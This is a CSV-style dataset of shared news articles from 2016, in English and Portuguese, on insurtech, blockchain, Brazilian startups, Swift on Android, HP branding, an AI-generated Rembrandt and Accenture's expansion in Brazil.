1460041957,CONTENT SHARED,-5179258585851879449,5660542693104786364,871944229415655122,,,,HTML,http://techcrunch.com/2016/04/03/the-insurance-tech-equation/,The insurance tech equation,"Insurance policies can be complex, and some policyholders may not understand all the fees and coverages included in a policy. Indeed, people typically buy policies on unfavorable terms. In 2014, two major insurers, Blue Shield and Cigna of California, were sued for misrepresentation of the coverage network, which caused delays for their consumers in accessing needed health care. Yet, insurance should help societies and individuals mitigate catastrophes' impact through the way it changes who bears the cost of losses. ""There are 46 insurance companies in Fortune 500, with an average age of 95 years. Cumulative market cap is more than $1T,"" said Spencer Lazar of General Catalyst Partners. However, according to Morgan Stanley/BCG consumer's survey , half of policyholders have one or less interactions per year with their insurers - and less than 60 percent of those who made the contact are satisfied with the experience. Underwriting and closing a policy may take several days, even several weeks. Once the policy is underwritten, claims management and customer service are cumbersome due to the insurer-centric and paper-based structure. The commission structure of the status quo is such that agents and insurers make the process a misalignment of interest between the insurers and policyholders. Fortunately, it is not a lost war for insurer incumbents, as they have their competitive advantages. Incumbents have the consumers' trusted brand perception and existing coverage network, regulator's policed compliance and licenses, as well as the most analytical actuarial talents. An insurance premium paid currently provides coverage for losses that might arise many years in the future. The financial stability and strength of an insurance company is a major consideration when buying an insurance contract. To understand the insurance business better, it has to start from their business model. Insurers' business profit can be reduced to a simple equation: Insurer's profit = sum of earned premiums and investment income on premiums after underwriting cost and claim expenses. Insurers must see themselves in the prevention business on top of the protection business. With the dawn of the pension scheme and a changing workforce that has increased the number of freelancers, startups are exploring the nexus of technology and insurance in an attempt to wake the dinosaurian industry. In 2014, insurance tech startups raised just over $740 million in venture and equity funding. Just a year later, funding to insurtech companies rose by 350 percent, to $2.65 billion in annual funding, according to CB Insights . These insurtech startups may open new streams of premiums, encourage investment income, find a leaner method to underwrite costs or effectively manage claim expenses. Earned premiums The emergence of digital-first insurers has created a new business model on delivering value to consumers. The world's biggest insurtech startup is Zhong An , valuated at $8 billion after being invested in by three Ma (Alibaba's Jack Ma, Tencent's Pony Ma and China's second largest insurer, Ping An's Ma Mingzhe). It opened new segments of insurance, where traditional insurers did not touch: Zhong An partnered with Alibaba for coverage on returned goods' delivery charges and even drone/mobile phone damage policies tailored to the new digital economy. Besides tackling the new digital frontier, Zhong An is essentially innovating on distribution, with a more integrated sales channel embedded as part of the e-commerce shopping process rather than depending on the traditional third-party agent distribution model. Despite huge commissions, traditional insurance agents fail to provide significant added value. Anthemis-backed Trov creates customization of home insurance by allowing coverage of individual key items rather than a predefined set with an average payout. An app-based mobile platform helps easily collect information about the things users bought through photos, market values, receipts and other product details. With Trov, users can always see the total value of the things they own and have stored on Trov and track their value over time. With detailed records close at hand, it can be used as information to decide on the level of insurance coverage with Trov's partnered insurers serving in the backend. A one-stop shop like this is able to capture a use case and add more value with protective insurance products. Investment income Insurtech such as Friendsurance , Guevara and stealth Sequoia-backed Lemonade are banging big on P2P insurance models. Using a sharing economy approach, users are invited to form small groups of policyholders who pay partial premiums into a pool to use for small claims. Policyholders are able to get back the remaining pool of money at the end of the year, after claims. Claims-free policyholders are able to obtain higher cash back, which is a clear financial benefit for fair behavior to reduce fraud and claims expenses. Most importantly, these P2P models can possibly rethink how to make short-term liquidable investments on the pooled money and higher returns bet on other premiums. Underwriting cost With distribution channels being increasingly digital, will insurance agents end up in the same fate as the local bank branch? Despite huge commissions, traditional insurance agents fail to provide significant added value. Thus, new intermediaries are welcomed, especially online tools that are scalable. SaleMove brings in-person customer experience online by offering website surfers an option to talk to live representatives via video, which aims to give potential leads more meaningful information than just poking around randomly. Furthermore, it allows insurers to mitigate the effects of not having the human touch in insurance sales, and tailor products for possible completion of micro-insurance online. There are going to be more insurers leveraging IoT devices. ""With Big Data and AI, there are lots of new opportunities with low cost through the use of technology on marketplace and micro-insurance models, especially in developing economy like Asia with growing mobile penetration,"" said Dr. Lee Kuo Chuen , fintech thought leader and 20-year investment visionary. The core competence of insurance is ready for a big leap, thanks to all sorts of new technologies, such as machine learning and data analytics. AdviceRobo solutions make use of a machine learning platform that combines data from structured and unstructured sources to score and predict risk behavior of consumers. For instance, it provides insurers with preventive solutions, applying big behavioral data and machine learning to generate the best predictions on default, bad debt, prepayments and customer churn resulting in individualized risk assessment. Claims expenses Insurers must see themselves in the prevention business on top of the protection business that they are already in. Data is going to drive healthcare, which indirectly impacts insurance. Data can be leveraged to individually underwrite and personalize insurance for people. Metromile innovates in the preventive business by rewarding car owners with lower premiums for fewer miles driven (through a plugged-in car sensor). There are going to be more insurers leveraging IoT devices, such as fitness tracker Fitbit and environment sensor uHoo . Perhaps the speed and ease with which self-automating smart contracts could be changed within the blockchain could see more insurance policies that reflect actual personalized risk in a real-time manner. However, the industry has to make good strides in not creating sub sectors of the society that can't buy insurance due to big data rendering them as less attractive risks. Bauxy , Claim Di and Snapsheet are all about mobile solutions that help insurers make a leap in customer engagement to become much more effective every step of the new digital journey. Claims adjusters obtain the tools to enjoy an automated experience; a mobile solution enables consumers of insurers to settle a claim completely virtually. The solution simplifies claims, reduces the operation costs and increases touch points between insurer and customer, leading to better satisfaction. Gone are the days when insurers are the perfect intermediaries to underwrite decisions or own the narrative of how insurance products get pushed to end users. IoT with inexpensive sensors will have a transformational impact on how insurance policies are underwritten. New digital entrants with strong customer relationships can formulate personalized policies and distribute more efficiently. According to World Bank , the global population is set to reach 9.7 billion in 2050 and 34 percent of global growth in worker population (aged 15-64) lies in South Asia. Although B2B insurtech CXA and many financial comparison sites are operating in the underinsured and uninsured region, much of the insurtech innovations and targeted consumers are still primarily located in Western and China markets. I believe the next generation of Fortune 500 insurers will have to partner with various stakeholders, including the unmentioned regulators, to drive cost low and premium acquisition high on the equation in a consumer-centric way, as well as replicating successes in high-growth emerging markets. Featured Image: Brian A Jackson / Shutterstock",en
1460046185,CONTENT SHARED,-3785072380450959101,-5264754785175108362,-1555001424691631971,,,,HTML,http://www2.portalnovidade.com.br/ciesp-campinas-e-lean-institute-brasil-fazem-evento-gratuito-sobre-lean-para-superar-a-crise-em-campinas/,"Ciesp-Campinas e Lean Institute Brasil fazem evento gratuito sobre ""lean para superar a crise"" em Campinas","Diretor da Sabó e especialista lean por universidade dos EUA vão explicar como gestão inspirada no modelo Toyota elimina desperdícios, aumenta economia e produtividade, deixando empresas mais fortes para enfrentar contextos de crise econômica Ciesp-Campinas e o Lean Institute Brasil, de São Paulo, vão realizar dia 8 de abril, sexta-feira, às 9h às 11h, o evento ""Lean para superar a crise"", no Auditório Ciesp Campinas, em Campinas. O evento é gratuito, as inscrições ocorrem no site da Ciesp-Campinas ( ) e as vagas são limitadas. O encontro terá a participação de dois palestrantes especialistas em sistema lean, filosofia de gestão originária do modelo Toyota que vem sendo adotado por empresas de diferentes setores. Alexandre Cardoso, gerente de projetos do Lean Institute Brasil ( www.lean.org.br ), vai aplicar a palestra ""Lean como estratégia de negócio"", que vai detalhar como a gestão lean pode reduzir custos, eliminar desperdícios, aumentar a produtividade e, assim, ajudar a empresa a enfrentar períodos de turbulência econômica, como o atual. Mestre em Gestão da Produção pela Escola Politécnica da Universidade de São Paulo (USP) e especialista em Lean Leadership pela Universidade de Kentucky, dos EUA, Alexandre Cardoso atua há mais de 15 anos com a implementação do sistema lean em grandes empresas dos setores de alimentos, químico, automotivo, metalúrgico, consumo e de serviços. O segundo palestrante será Ricardo Avila, diretor industrial da Sabó ( ), multinacional brasileira referência mundial no desenvolvimento de soluções em vedação e condução para a indústria automobilística e que exporta produtos para mais de 40 países. Desde 2004, a Sabó vem adotando no Brasil o sistema lean, conseguindo com isso aumentos expressivos de produtividade, de atendimento aos clientes, de tamanho de área produtiva, além de redução de custos e de resíduos, entre outros indicadores positivos. Com base nessa experiência, o diretor da empresa vai aplicar a palestra ""Lean para superar a crise"", na qual vai detalhar como o ""pensamento A3"", um dos conceitos mais importantes do sistema lean, está ajudando a Sabó a enfrentar a atual crise econômica brasileira ao manter a competitividade da companhia. Realizadores do evento, O Ciesp-Campinas conta com aproximadamente 560 empresas associadas, distribuídas em 19 municípios da região (Campinas, Valinhos, Sumaré, Pedreira, Amparo, Mogi Mirim, Mogi Guaçu, Itapira, Holambra, Jaguariúna, Paulínia, Hortolândia, Artur Nogueira, Santo Antônio da Posse, Estiva Gerbi, Conchal, Serra Negra, Lindóia e Águas de Lindóia. Já o Lean Institute Brasil ( ww.lean.org.br ) é uma entidade sem fins lucrativos de São Paulo que há mais de 18 anos dissemina o sistema lean entre as empresas brasileiras. A entidade foi a segunda do tipo a surgir no mundo. A primeira foi a norte-americana ( www.lean.org ). Hoje, o instituto brasileiro é parte de uma rede de 17 institutos distribuídos por 17 países e 5 continentes ( www.leanglobal.org ). Serviço: O quê: ""Lean para superar a crise"". Quando: dia 8 de abril, sexta-feira, das 9h às 11h. Onde: Auditório Ciesp Campinas, rua Padre Camargo Lacerda, 37, Campinas (SP). Inscrições e mais informações: Realização: Ciesp-Campinas www.ciespcampinas.org.br Lean Institute Brasil www.lean.org.br",pt
1460048724,CONTENT SHARED,3057455921237571253,4340306774493623681,-8367890391897437730,,,,HTML,https://news.bitcoin.com/bitcoin-social-messaging/,Three Platforms Bringing Bitcoin To Social Messaging Users,"Almost everyone with a smartphone now uses a social messaging app. Echo, Telebit, and Octopocket are three newcomers who want to take it a step further by introducing payments and digital currency right into your chat box. Octopocket Brings Finance to Telegram Although a lot of people around the world are actively using the platform on a regular basis, it lacks some features consumers might be interested in. Access to financial tools, for example, would be something most people will appreciate, and Octopocket is looking to provide exactly that. But what is even more interesting is how the platform does not require users to install additional software, as Octopocket is a bot on top of the social messaging protocol. Preliminary reviews of the Octopocket service are quite positive, as this service makes it a lot easier for Bitcoin enthusiasts to send, receive, and sell their digital currency on the fly. Moreover, this opens up a lot of payment opportunities for all Telegram users in the Spain area, as people have their mobile device on them most of the time. Telebit: First Company to Bring Bitcoin to Telegram Telebit users can send and receive bitcoin through the Telegram bot as well. Additionally, they can display the current Bitcoin price in their preferred fiat currency, and make donations to the Telebit team. With no fees to pay to send and receive money, Telebit has become a favorite Telegram bot for digital currency enthusiasts. ECHO Merges Money Transfers with Private Chats The only downside to ECHO comes in the form of how users need to download a separate app to access this platform and wallet service. Although creating a new account is not that time consuming, other users will need to download the app as well to receive payments. This same principle applies to Telegram, but that company has an enormous customer base already. Which of these three mobile Bitcoin money service solutions is your favorite? Are there other similar platforms you have heard of? Let us know in the comments below! Images courtesy of Shutterstock, ECHO, Telebit, Octopocket It only seems to be a matter of time until Bitcoin becomes a part of the social messaging experience. Jean-Pierre Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world, Jean-Pierre also has a keen interest in Fintech and technology, and he is always open to new challenges.",en
1460048762,CONTENT SHARED,-3528088210002754978,4340306774493623681,-8367890391897437730,,,,HTML,https://news.bitcoin.com/red-hat-openshift-ethereum/,Red Hat OpenShift Blockchain Initiative Focuses On Ethereum,"Red Hat, the world's leading provider of open source solutions, recently introduced their OpenShift Blockchain Initiative in an attempt to bridge the gap between traditional finance and blockchain technology. Also read: Top 10 Biggest Bitcoin Villains to Date OpenShift Blockchain Initiative for Fintech Players OpenShift announced their Dedicated initiative at the end of 2015. The main purpose of this initiative was to combine Red Hat's engineer and support teams with a platform for container application deployment. Moreover, OpenShift Dedicated puts a lot of focus on the container, which gives Fintech startups frictionless access to blockchain solutions. Using the open source nature of blockchain services will spur future innovation and development in the space. Creating new financial applications to streamline day-to-day business operations can give early adopters of this technology a competitive advantage. Additionally, the blockchain will bring more transparency to the financial sector, which can prove to be quite beneficial as well. Red Hat has decided to step up their game and launch the OpenShift Blockchain Initiative , which will bring the OpenShift Dedicated environment to Fintech startups and enterprises. Moreover, partners will receive access to dedicated training workshops, enablement materials, and the OpenShift Commons membership. ConsenSys Enterprise Co-founder Andrew Keys stated: We are pleased to partner with Red Hat and have initially deployed BlockApps STRATO, our Ethereum Blockchain infrastructure on OpenShift. This platform supports the development of smart contract solutions and can allow developers to build and deploy their blockchain applications very quickly. The collaboration was a logical direction and BlockApps is incredibly excited to work with Red Hat as the first blockchain provider on the OpenShift platform. It may come as a surprise to some people to see Red Hat embracing the blockchain for their OpenShift Blockchain initiative. In doing so, the organization follows in the footsteps of Microsoft Azure , who have taken a similar liking to what Ethereum has to offer. Although the press release mentions smart contract technology as only being available on the Ethereum blockchain, there are ways to use this on the Bitcoin blockchain as well. A Bigger Commitment to Blockchain Technology It is not the first time Red Hat sets out on a mission to promote the usage and development of the blockchain. Keeping in mind how the organization is part of the Hyperledger Project , it seems clear bringing blockchain technology to established and upcoming players in the financial ecosystem is of great importance to Red Hat. Red Hat and OpenShift VP and GM Ashesh Badani explained: ""As enterprises begin to explore the use of blockchain application software, OpenShift Dedicated can provide a well-suited platform for a streamlined, more secure development environment. The hosted container application platform environment, combined with Red Hat's support and enablement training, offers partners and developers interested in building blockchain applications greater confidence that they can move toward these cloud-based services."" Advancing blockchain technology through an open and decentralized platform is an excellent way to spur innovation in this space. Red Hat will continue to contribute to the development of distributed ledgers, as they realize this technology has a lot of potential within and beyond the financial industry. What are your thoughts on the OpenShift Blockchain Initiative? What type of development can we expect from the Red Hat initiative? Let us know in the comments below! Source: Business Wire Images courtesy of Red Hat, Hyperledger, Shutterstock Jean-Pierre Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world, Jean-Pierre also has a keen interest in Fintech and technology, and he is always open to new challenges.",en
1460048773,CONTENT SHARED,-788035419968530567,1895326251577378793,-3394884316493790889,,,,HTML,http://b2bmagazine.com.br/index.php/2013-03-25-20-12-20/item/6411-especial-5-startups-brasileiras-que-podem-tornar-se-unicornios,Especial: 5 startups brasileiras que podem tornar-se Unicórnios,"Unicórnio: um animal mitológico que desde os primórdios de nossa história causa encantamento por ser um símbolo de pureza e força. Em 2013, a criatura adentrou o mercado financeiro e deu nome a um conceito relacionado a um grupo, até então, bastante seleto de empresas americanas: as startups de um bilhão de dólares. O termo foi cunhado pela fundadora da Cowboy Ventures, Aileen Lee, que, na ocasião, encontrou 39 modelos de negócio que se enquadravam na definição. Hoje, no mundo, existem 146 startups que fazem parte do clube dos Unicórnios. A melhor avaliada entre todas elas é o Uber, que alcançou um valor de mercado de US$ 51 bilhões, em 2016. No Brasil, no entanto, a criatura mitológica ainda não foi avistada - por diversas razões. O principal fato é que o nosso mercado empreendedor, apesar de estar em pujante expansão, ainda não tem maturidade para abrigar uma startup desse tipo, ainda não é um cenário favorável para a expansão dos modelos de negócio nascidos aqui. ""Nós não temos eventos de liquidez como o mercado americano tem. Não adianta termos uma startup avaliada em um bilhão de dólares se não tivermos ninguém para pagar por isso, se não tivermos ninguém para investir nesse valuation"", explica Amure Pinho, presidente da Associação Brasileira de Startups. Fora isso, burocracia, alta carga tributária e outras questões tão brasileiras - e antigas - podem segurar a aparição mitológica. Mesmo assim, nosso mercado é pujante, tem diversos players interessados e cada vez mais chama outros adeptos. Assim, contra tudo e todos (e inclusive contra o câmbio), algumas startups nacionais podem chegar lá. São elas: Nubank Parte do famoso grupo das fintechs, a Nubank, fundada em 2014, trouxe para o mercado brasileiro um cartão de crédito descomplicado: sem taxa de anuidade ou tarifas, com juros rotativos abaixo do mercado e gerenciamento via aplicativo, com fatura detalhada e atendimento online. A fila de espera pelo cartão, que é distribuído pelo envio de convites, chegou a 1,6 milhão de pessoas em janeiro deste ano. Tamanho sucesso entre os consumidores gerou uma startup de crescimento acelerado, o único investimento brasileiro da Sequoia, um fundo icônico do Vale do Silício. ""Todo mundo busca um cartão Nubank por causa dessa mudança de mindset com relação aos serviços bancários. Eles trouxeram um novo modelo, um novo jeito de fazer a mesma coisa de forma inovadora"", destaca João Kepler, considerado um dos maiores investidores-anjos do Brasil e conselheiro da Anjos do Brasil. No quarto aporte recebido pela startup, foram levantados cerca de US$ 50 milhões (o equivalente a R$ 208 milhões na cotação do fim de dezembro, quando o acordo foi firmado). Movile Na estrada desde 1998, a Movile é especializada na criação de aplicativos e serviços para dispositivos móveis - e, hoje, é um forte conglomerado de startups do tipo. Seus produtos atendem tanto operadoras de telecomunicação quanto o consumidor final - atendendo mais de 50 milhões de pessoas no mundo. O método utilizado pela startup foi o de somar para multiplicar, mesmo que fosse preciso se unir aos concorrentes para crescer. Entre diversas fusões e aquisições, estão nomes como iFood (que, uma vez no conglomerado, também adotou a filosofia e adquiriu o RestauranteWeb), Apontador, Rapiddo e Truckpad. Fora isso, a empresa é criadora do app PlayKids, um streaming de desenhos infantis, que está presente em mais de 100 países (em 30 deles é o app infantil mais rentável do mercado) e superou YouTube, Netflix e a própria Disney. Atualmente, tem escritórios em São Paulo e Campinas e está presente na Argentina, Colômbia, Venezuela, no México e EUA (Vale do Silício). Estima-se que seu faturamento, em 2015, chegou à casa dos R$ 800 milhões. Easy Taxi Provavelmente uma das startups brasileiras mais comentadas dos últimos anos, a Easy Taxi foi fundada em 2011 e, hoje, está presente em mais de 420 cidades, de 30 países. Cerca de 17 milhões de usuários utilizam seus serviços e há quem diga que em alguns países a frota da empresa ultrapassa o número de carros do Uber. A empresa movimenta cerca de R$ 1 bilhão por ano com as corridas acertadas pelo app e seus motoristas registram crescimentos no faturamento que passam dos 40%. ""A 99Taxis tem um desempenho melhor no Brasil, mas a Easy Taxi leva muita vantagem por ser internacional. Quando olhamos para o valor que o Uber tem e que a Easy Taxi está alcançando, fica nítido que estão perto de serem bilionários"", analisa Felipe Matos, fundador da aceleradora Startup Farm. QuickBooks ZeroPaper A ZeroPaper compunha o grupo de startups brasileiras voltadas à ferramentas de gestão financeira para pequenas e médias empresas (concorrente de nomes como Conta Azul e Treasy). Seu crescimento, no entanto, foi bastante acelerado: em três anos se tornou uma das principais ferramentas do mercado. Assim, chamou a atenção da empresa americana Intuit, uma das maiores fintechs do mundo, o que resultou numa fusão. Atualmente, o branding foi mudado para QuickBooks ZeroPaper e a integração das plataformas expandiu a oferta de serviços. ""Com a aquisição, a Intuit entrou investindo uma grande quantia. Eles estão investindo muito em marketing, mídia, aquisição de clientes e apontam um crescimento acelerado"", ressalta Kepler. O valuation de mercado da empresa aos poucos está dando saltos - o que a aproxima cada vez mais do bilhão. Hotel Urbano Em 2011, no Rio de Janeiro, surgiu uma startup cujo objetivo declarado seria democratizar o turismo no Brasil. Pouco mais de cinco anos depois, com os números que o Hotel Urbano apresenta, podemos deduzir que a missão é alcançada com louvor: são mais de 20 milhões de usuários cadastrados e o número de diárias comercializadas ultrapassa os quatro milhões. A empresa, que cresce cerca de 65% ao ano, recebeu um investimento de US$ 60 milhões do Grupo Priceline (detentor do Booking.com e Kayak) em troca de uma participação minoritária do investidor. Com a manobra, a brasileira passou a ter acesso aos mais de 680 mil parceiros de hospedagem que o grupo global possui - uma expansão e tanto para a plataforma. Fora isso, a startup também já abriu seu leque para agências de viagens e agentes independentes, marcando presença em todos os tipos de canais de turismo acessíveis ao consumidor. *Essa matéria é parte da reportagem publicada na revista Consumidor Moderno 211 Leia mais: 5 startups brasileiras de Fintech para prestar atenção em 2016 Cubo, o coworking exclusivo para startups Engajamento: o que as startups ensinam às grandes empresas?",pt
1460051721,CONTENT SHARED,4579557799493615039,-709287718034731589,8590541763821014933,,,,HTML,http://thenextweb.com/dd/2016/04/07/google-facebook-uber-swift/,Google may be considering Swift for use on Android,"About the time Swift was going open source , representatives for three major brands - Google, Facebook and Uber - were at a meeting in London discussing the new language. Sources tell The Next Web that Google is considering making Swift a ""first class"" language for Android, while Facebook and Uber are also looking to make Swift more central to their operations. Google's Android operating system currently supports Java as its first-class language, and sources say Swift is not meant to replace Java, at least initially. While the ongoing litigation with Oracle is likely cause for concern, sources say Google considers Swift to have a broader ""upside"" than Java. Swift is also open source, which means Google could adopt it for Android without changing its own open source mobile structure. Could Google do it? Born at Apple as a replacement to Objective C, Swift quickly found favor with developers as an easy-to-write language that shed much of the verbosity and clumsy parameters other languages have. It was introduced at WWDC 2014 , and has major support from IBM as well as a variety of major apps like Lyft, Pixelmator and Vimeo that have all rebuilt iOS apps with Swift. Swift can't be copy-pasted for any platform, though. Specifically, Android would need a runtime for Swift - and that's just for starters. Google would also have to make its entire standard library Swift-ready, and support the language in APIs and SDKs. Some low-level Android APIs are C++, which Swift can not currently bridge to. Those would have to be re-written. Swift would also not be useful in bridging higher level APIs in Java; they'd have to be re-written as well. Using Swift for Android is not impossible, though. Late last year, developer Romain Goyet toyed with Swift for Android - and had some success. While that project was completed well ahead of Swift being open source, it nonetheless proved that it can be done. That project used the Android NDK, which allows other languages to be loosely implemented into Android. With an open source Swift and support from Google, Android apps wouldn't require that toolkit. All told, Google would have to effectively recreate its efforts with Java - for Swift. If the company is motivated enough, it's very possible to do so without compromising on its open source values or ruffling any developer feathers along the way. Kotlin Just reaching its potential , sources also claim Kotlin is being discussed as a first class language for Android. Like Swift, Kotlin is object oriented with a focus on safety. Unlike Swift, Kotlin works with Android Studio, Google's IDE for Android development. Unfortunately, sources tell The Next Web that Google's current mindset is that Kotlin is a bit too slow when compiling. But, Kotlin is billed as a language that ""works everywhere Java works,"" and has ""seamless"" support for projects that mix it and Java. It would be much less work on Google's end to get Kotlin up and running for Android, but could be a tedious transition for developers. Facebook and Uber Facebook's interest in Swift appears to be completely founded in technological advancement. A benefit of Swift is that it can serve as both a forward-facing language as well as a server-side one. For a product like Facebook, that's beneficial; apps and servers can speak to one another seamlessly, and it potentially gives the company a wider scope to write APIs for services. And work may have already begun. A Github pull request in the Swift repository named ' Port to Android ' was made by a Facebook employee. It's not clear if his work was official Facebook business or not, though we have confirmed Facebook is already working with Swift internally - it's just not known how thoroughly. Uber's road to Swift is probably a bit cleaner than either Google or Facebook. Though there are many moving parts to Uber's service (app, server and API), it can use Lyft's transition to Swift as an example. When Lyft migrated its iOS app to Swift, it was a ground-up remodel that took a lot of time and effort - but resulted in an app that's lighter, leaner and easier to maintain. It's not known how much (if any) of Lyft's back-end uses Swift, but the company has been highly complimentary of Swift in its existing application. When could a move to Swift happen? The short answer: not anytime soon. The reason? Android. But Swift is quickly finding its way . Several studies suggest it's one of the fastest growing languages around , and has blown up since going open source (GitHub tells The Next Web the language is currently its 11th most popular). Demand for developers who know Swift is also exploding, which could be all the indication these three companies need to at least explore using Swift more thoroughly. Google's onboarding for Swift would be long; it essentially has to rewrite every Android service, app and API. Google would also have to spearhead Swift support for Android - which is still only being poked and prodded at by clever developers in the Swift community. In a way, Google has already begun moving away from bits of Oracle-flavored Java. It's now using the Open JDK for Android rather than the proprietary Java API, and may be considering a post-Java life altogether. Talks in London were said to be exploratory; Google is not yet pushing to move on from Java. While it would be a big undertaking, Swift is meant for speed and safety, and Swift's roadmap suggests it won't be quite as difficult to use it for other platforms in the future, specifically when it comes to C++ . Though Kotlin is an alternative, it's a very nascent language without the eager community Swift has. Facebook and Uber face similarly daunting tasks when it comes to using Swift throughout, but can -and should - wait for Google to shoulder the load with Android. If the use of Swift is going to be as deep as our sources indicate (that is, all companies want to be using it for server side and forward-facing use cases), Android support is integral. Moving to Swift for any of the companies also makes little sense unless it's a thorough re-do, but it's probably not quite as hard as it sounds. Services like Perfect prove that server-side Swift is ready, and it's worth considering that Facebook's engineers ( perhaps from the Parse team ) may already be working on this. IBM is also working to make Swift ready for server-side functions. But don't expect Google, Facebook or Uber to announce Swift-y plans anytime soon. Facebook and Google both have developer conferences on the horizon, and there's no indication that Swift will play a major part at either. We reached out to all three companies for comment on the information our sources brought forward. All three declined to comment. Google specifically pointed to its ongoing litigation with Oracle as reason not to participate in this article. Make of that what you will.",en
1460052508,CONTENT SHARED,-2252459228396350242,-7531858294361854119,6095793907508340293,,,,HTML,http://www.b9.com.br/64304/design/nova-marca-da-hp-foi-criada-e-rejeitada-5-anos-atras/,A nova marca da HP foi criada (e rejeitada) 5 anos atrás,"A HP apresentou esta semana o seu mais novo notebook, o Spectre 13 . Com ele a empresa fez algo um pouco curioso: usou uma marca diferente da sua já bastante conhecida no laptop. Essa marca foi fruto de um trabalho extenso de uma agência chamada Moving Brands e que concluiu o trabalho, digamos, com alguma folga: 5 anos atrás. Essa nova marca foi comissionada pela HP em 2008 e em 2011 foi oficialmente apresentada pela Moving Brands. Mas na época a HP ainda não era futurista o bastante, ainda eram uma empresa só e não estava pronta para mudar tão drasticamente. Foi por isso que decidiram continuar com a marca atual e ignorar o brilhante redesign que pediram - ainda assim, alguns elementos do estudo da marca ( veja aqui ) foram adotados pela empresa nos anos subsequentes. Veja abaixo o vídeo mostrando alguns detalhes do manual da marca, publicado em 2011. Dito isso, não espere ver a marca em muitos produtos. A HP diz que só pretende usar esse logotipo específico em seus notebooks ""premium"", como o Spectre 13. Obviamente nada impede que a empresa mude de ideia mais uma vez no futuro e passe a adotar essa marca mais futurista em toda a sorte de produtos. E eu sinceramente espero que mudem logo, esse novo logotipo é incrivelmente mais bonito.",pt
1460054777,CONTENT SHARED,-2306623058132041487,3429602690322213789,7047876595038962061,,,,HTML,http://www.b9.com.br/64338/advertising/com-inteligencia-artificial-ing-e-microsoft-criam-um-rembrandt-original/,"Com inteligência artificial, ING e Microsoft criam um Rembrandt ""original""","Eu gosto de ideias que imediatamente me fazem imaginar como ela foi apresentada para o cliente. ""Aê Seu ING, sabe aquele briefing lá? Vamos ressuscitar Rembrandt, blz falow"" . Na vida real nunca é tão fácil, claro, as empresas querem PPTs embasados e com dados importantes. Deve ter sido o caso aqui, mas ainda assim, duvido que a maioria tenha acreditado que seria possível no fim da reunião. O banco ING se vende como uma instituição financeira inovadora, e queria mostrar esse espírito através do seu consistente patrocínio a eventos e ícones culturais da Holanda. Para atender ao pedido, a proposta da JWT Amsterdam foi fascinante: produzir uma obra ""original"" de um dos grandes pintores do mundo quase quatro séculos depois de sua morte. Nenhum ritual envolvendo água de Krypton foi necessária para o processo, porém, apenas tecnologia concreta, com algoritmos e análise de dados. Criado em parceria com a Microsoft , o primeiro passo do trabalho foi digitalizar em alta resolução 346 pinturas de Rembrandt, determinando assim o sujeito preferido do artista holandês: Retrato de um homem caucasiano com barba, na faixa dos 30-40 anos de idade, com roupas escuras, gola, usando um chapéu e olhando pra direita. A pintura final foi feita com uma impressora 3D, imitando textura e espessura das camadas de autêntico Rembrandt Após isso, uma tecnologia de identificação facial gerou um algoritmo, baseado nos padrões geométricos mais comuns utilizados por Rembrandt. Ao todo, 168.263 fragmentos de pinturas foram analisados para preservar ao máximo as proporções e ângulos do artista. A pintura final - criada por computador - foi feita com uma impressora 3D, para imitar o mapa de calor, textura e espessura das camadas que um autêntico Rembrandt teria. O vídeo no topo conta toda a história, e vale também visitar o belo site para conferir mais detalhes. Você vai dizer que isso não tem nada ver com ressuscitar o artista, claro, pois o que foi gerado não é o que pode ser chamado de ""um original"". Mas será que enganaria um especialista em autenticidade de obras de arte? Fica aí a sugestão de um novo reality show pra JWT.",pt
1460055128,CONTENT SHARED,6941466664989793964,1895326251577378793,-3394884316493790889,,,,HTML,http://www.meioemensagem.com.br/home/comunicacao/noticias/2016/03/30/Accenture-amplia-atuacao-no-Brasil.html,Accenture amplia atuação no Brasil,"Ao longo de 2015, a Accenture Digital, braço da consultoria global, realizou quatro grandes movimentos no mercado brasileiro com o objetivo de expandir a entrega de negócios online - analytics, marketing digital e mobilidade - para seus clientes. Em fevereiro, adquiriu abrasileira Gapso, especializada em sistemas de análise de dados com escritórios em Belo Horizonte, Vitória e Rio de Janeiro e, no mês seguinte, lançou a operação da Fjord, focada em design thinking e adquirida globalmente pela companhia em 2013, na capital paulista. Em agosto, comprou a agência de performance AD.Dialeto. Para completar a estratégia de expansão, inaugurou, em junho, um Centro de Desenvolvimento de Tecnologia Digital em Recife, dedicado à evolução da análise de dados e à produção digital e investiu em um espaço dentro do Cubo, centro de empreendedorismo do Itaú e Redpoint eVentures, em São Paulo, com o intuito de fomentar projetos de startups. Responsável pela Accenture Digital na América Latina, Rodolfo Eschenbach,conta que as recentes iniciativas reforçam três pilares fundamentais para a área. ""Entendemos que precisamos ter as tecnologias mais ágeis, o que envolve cloud, metodologia e dispositivos conectados. Em segundo lugar, há a necessidade de entregar analytics preditivos e relevantes e, em terceiro, aprofundar a experiência do consumidor por meio de análises, produção e gerenciamento de conteúdo e desenho dos serviços"". Criada no final de 2013, a Accenture Digital abarca as divisões analytics, mobility e interactive, e é uma das quatro unidades da Accenture, que também conta com Consultoria, Operações e Tecnologia. A área foi apontada como a terceira maior rede digital pelo Agency Report 2015, do Advertising Age, atrás da IBM Interactive e Deloitte Digital. Na publicação do relatório, Michael Roth, chairman e CEO do Interpublic, admitiu ao AdAge que a presença das consultorias no ranking acirra a concorrência com as agências. ""Não há dúvida de que estamos competindo com empresas que nunca havíamos competido antes. É um mercado muito competitivo e temos de fazer nossa parte"", comentou. Ao mesmo tempo que grupos de comunicação têm investido em agências de performance, como é o caso do WPP, que adquiriu a Jüssi, e do grupo ABC, que abriu a MuchMore, agência de soluções digitais, as consultorias têm cavado cada vez mais espaço na disputa pelo mercado digital. Rodolfo admite a intenção: ""A Accenture, assim como a Deloitte e a McKinsey, estão no mesmo caminho. Queremos competir com agências digitais, isso é saudável para o mercado. Mas não atuaremos como agência off-line ou de branding"", afirma. Para Leonardo Cid Ferreira, fundador e CEO da AD.Dialeto, o entendimento tecnológico de consultorias como a Accenture é o que motivou a venda de sua agência. ""As empresas estão querendo se transformar, mas não têm parceiros que as atendam diretamente com soluções de transformação digital. Queremos nos aproximar do CMO e, para isso, é preciso ter uma abordagem de marketing holística. Com a Accenture, podemos avançar nesse território."" Esta matéria foi publicada na edição 1703 do Meio & Mensagem , de 28 de março, disponível exclusivamente para assinantes nas versões impressa e para tablets e .",pt
